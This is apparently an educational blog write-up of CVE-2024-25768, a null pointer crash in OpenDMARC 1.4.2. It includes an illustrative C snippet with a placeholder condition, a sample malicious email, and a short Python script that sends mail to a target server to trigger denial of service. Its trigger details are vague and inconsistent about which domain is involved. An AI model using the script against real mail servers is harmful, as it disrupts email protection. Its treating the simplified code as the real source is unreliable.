In February 2024, security researchers identified a critical bug in OpenDMARC 1.4.2, a widely used open-source software for DMARC (Domain-based Message Authentication, Reporting & Conformance) email authentication. The issue, tracked as CVE-2024-25768, is a null pointer dereference vulnerability in the opendmarc_policy.c file. This post will break down what happened, how it can be triggered, and what it means for email security.

What is OpenDMARC?

OpenDMARC helps email systems defend against domain spoofing by verifying that messages come from what they claim to be. It's used by ISPs, businesses, and anyone running mail servers.

Version: 1.4.2 (and possibly prior)

- File: /OpenDMARC/libopendmarc/opendmarc_policy.c

Impact: Remote attackers can crash the service

When OpenDMARC scans a specially crafted (malicious) email, it can run into a piece of code where it tries to use a pointer that is not set ("null"). This will instantly crash the OpenDMARC process — bringing down email checking on that server.

Where is the Bug?

In the function opendmarc_policy_query_dmarc(), an incoming email with certain properties may make the code fail to set up a critical data structure ("record"). When the code later tries to use this "record", which is actually NULL (nothing), it causes a crash.

Here’s a simplified code snippet showing the problem (based on the upstream source code):

// In opendmarc_policy.c

OPENDMARC_STATUS_T
opendmarc_policy_query_dmarc(OPENDMARC_POLICY_T *pctx, ...)
{
    DMARC_RECORD_T *record = NULL;
    ...
    // Let's say something goes wrong here and record is never set
    if (<some error condition>)
    {
        // record is still NULL
    }
    ...
    // Vulnerable line
    if (record->sp != NULL) {
        // This dereference crashes because record is NULL!
        ...
    }
}

If the code ever tries to use record->sp when record itself is NULL, a *segmentation fault* occurs and the OpenDMARC daemon dies.

How can an attacker trigger it?

An attacker sends a malformed or specially crafted email that tricks OpenDMARC into skipping the part of the code that sets up a record. This can happen if:

The email's From: header is crafted to bypass normal parsing logic.

The result? record points to nothing (NULL), so when OpenDMARC tries to check its contents, the whole process crashes.

Exploit Example

Let's see what this might look like in the real world.

An attacker crafts an email like this

From: attacker@victim.com
To: user@target.org
Subject: DMARC Exploit Test

(Some message body)

But suppose the DNS DMARC record for victim.com is missing, malformed, or intentionally set to cause parser confusion. OpenDMARC, on parsing this email, does not properly set up its record data structure.

OpenDMARC runs and attempts to check DMARC policy

opendmarc[pid]: segfault at ... opendmarc_policy.c:NULL pointer dereference

(You may see this in your syslog or mail log)

3. Denial of Service

Now, as long as the attacker keeps sending these emails, your OpenDMARC service stays offline or keeps crashing, leaving your mail server unprotected from spoofed emails.

Here's how to simulate the flaw (use responsibly and only on your own lab setup)

import smtplib

mail_from = 'attacker@malicious.com'
rcpt_to = 'user@target.com'
msg = """From: attacker@malicious.com
To: user@target.com
Subject: Exploit DMARC bug

This is a DMARC DoS test.
"""

with smtplib.SMTP('mail.target.com', 25) as s:
    s.sendmail(mail_from, [rcpt_to], msg)

If you've set up OpenDMARC 1.4.2 and removed/mangled the DMARC record for malicious.com, this email could cause the daemon to crash as soon as it tries to check the policy.

Patch: Update to the latest version of OpenDMARC as soon as a fix is released.

- Workaround: Use a process supervisor to restart crashed services, but this only helps until a real patch is available.
- Email filtering: Consider temporarily disabling DMARC checking if you’re under attack (but be aware this reduces your email security posture).

References & Further Reading

- CVE Record (MITRE/NVD)
- OpenDMARC Source Code - GitHub
- Vendor Security Advisory (if available)
- DMARC Overview - dmarc.org

Closing Thoughts

Simple bugs sometimes have big consequences. CVE-2024-25768 is a classic example: a missing check for a null pointer — something that should take one extra line of code — can crash a widely used security tool and open the door for email spoofing attacks. If you run OpenDMARC, watch out for package updates, and consider monitoring logs for repeated crashes.

Stay safe and patch fast!

*This writeup was prepared for educational purposes only. Never use these techniques offensively without permission.*

Timeline

Published on: 02/26/2024 18:15:07 UTC
Last modified on: 10/29/2024 21:35:04 UTC